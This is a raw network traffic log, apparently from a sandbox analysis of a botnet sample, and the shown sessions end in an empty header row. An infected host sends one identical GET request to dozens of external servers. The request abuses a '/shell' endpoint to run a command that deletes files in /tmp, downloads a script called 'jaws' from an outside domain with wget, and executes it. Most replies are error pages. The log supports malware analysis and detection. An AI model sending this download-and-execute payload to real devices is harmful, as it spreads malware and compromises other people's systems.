Apr 14, 2024 04:01:16.537441969 CEST	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:16 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1553	192.168.2.23	37596	78.11.53.229	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.230324030 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.571681976 CEST	475	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:16 GMT Content-Type: text/html Content-Length: 194 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1554	192.168.2.23	58550	185.63.191.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.236464024 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.584628105 CEST	263	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:01:16 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1555	192.168.2.23	33090	149.163.78.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.767889977 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.994543076 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:01:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Apr 14, 2024 04:01:17.538552046 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:01:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1556	192.168.2.23	59076	108.157.169.121	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.769480944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.999567986 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:16 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1557	192.168.2.23	59848	20.104.7.214	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.775778055 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.037235975 CEST	473	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Date: Sun, 14 Apr 2024 02:01:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1558	192.168.2.23	42796	111.98.254.20	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.818501949 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.272911072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.000638962 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:23.520205975 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:30.431204081 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.253341913 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1559	192.168.2.23	36456	84.208.42.80	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.849947929 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.161344051 CEST	161	IN	HTTP/1.1 404 Not Found Server: gvs 1.0 Date: Sun, 14 Apr 2024 02:01:17 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 0 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1560	192.168.2.23	36466	84.208.42.80	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.092672110 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.423131943 CEST	161	IN	HTTP/1.1 404 Not Found Server: gvs 1.0 Date: Sun, 14 Apr 2024 02:01:17 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 0 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1561	192.168.2.23	60842	52.26.3.252	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.623620987 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.816669941 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:17 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1562	192.168.2.23	38338	104.130.253.50	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.630479097 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.830960035 CEST	489	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:17 GMT Server: Apache/2.2.15 (CentOS) DAV/2 mod_fcgid/2.3.9 mod_ssl/2.2.15 OpenSSL/1.0.1e-fips Content-Length: 203 Keep-Alive: timeout=5, max=120 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1563	192.168.2.23	59966	23.48.7.179	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.662981987 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.896657944 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:17 GMT Date: Sun, 14 Apr 2024 02:01:17 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 36 62 35 33 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 37 26 23 34 36 3b 34 37 32 33 33 65 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 36 62 35 33 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 37 26 23 34 36 3b 34 37 32 33 33 65 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.86b53b17.1713060077.47233e4<P>https://errors.edgesuite.net/9.86b53b17.1713060077.47233e4</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1564	192.168.2.23	33144	172.79.193.46	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.670348883 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.933578968 CEST	154	IN	HTTP/1.0 500 Internal Error Content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 53 65 73 73 69 6f 6e 20 72 65 66 75 73 65 64 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Server Error</title></head><body>Session refused</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1565	192.168.2.23	47324	23.33.146.7	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.703289032 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.978703976 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:17 GMT Date: Sun, 14 Apr 2024 02:01:17 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 37 31 64 64 35 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 37 26 23 34 36 3b 32 65 34 33 36 38 39 64 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 37 37 31 64 64 35 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 37 26 23 34 36 3b 32 65 34 33 36 38 39 64 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.771dd517.1713060077.2e43689d<P>https://errors.edgesuite.net/9.771dd517.1713060077.2e43689d</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1566	192.168.2.23	42036	217.171.92.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.906589031 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.281862020 CEST	300	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 01:31:00 GMT Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html Content-Length: 56 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>301 Moved Permanently</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1567	192.168.2.23	35440	121.186.232.111	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.918185949 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.300878048 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:19.200859070 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.992507935 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.800004959 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.966969013 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.301011086 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
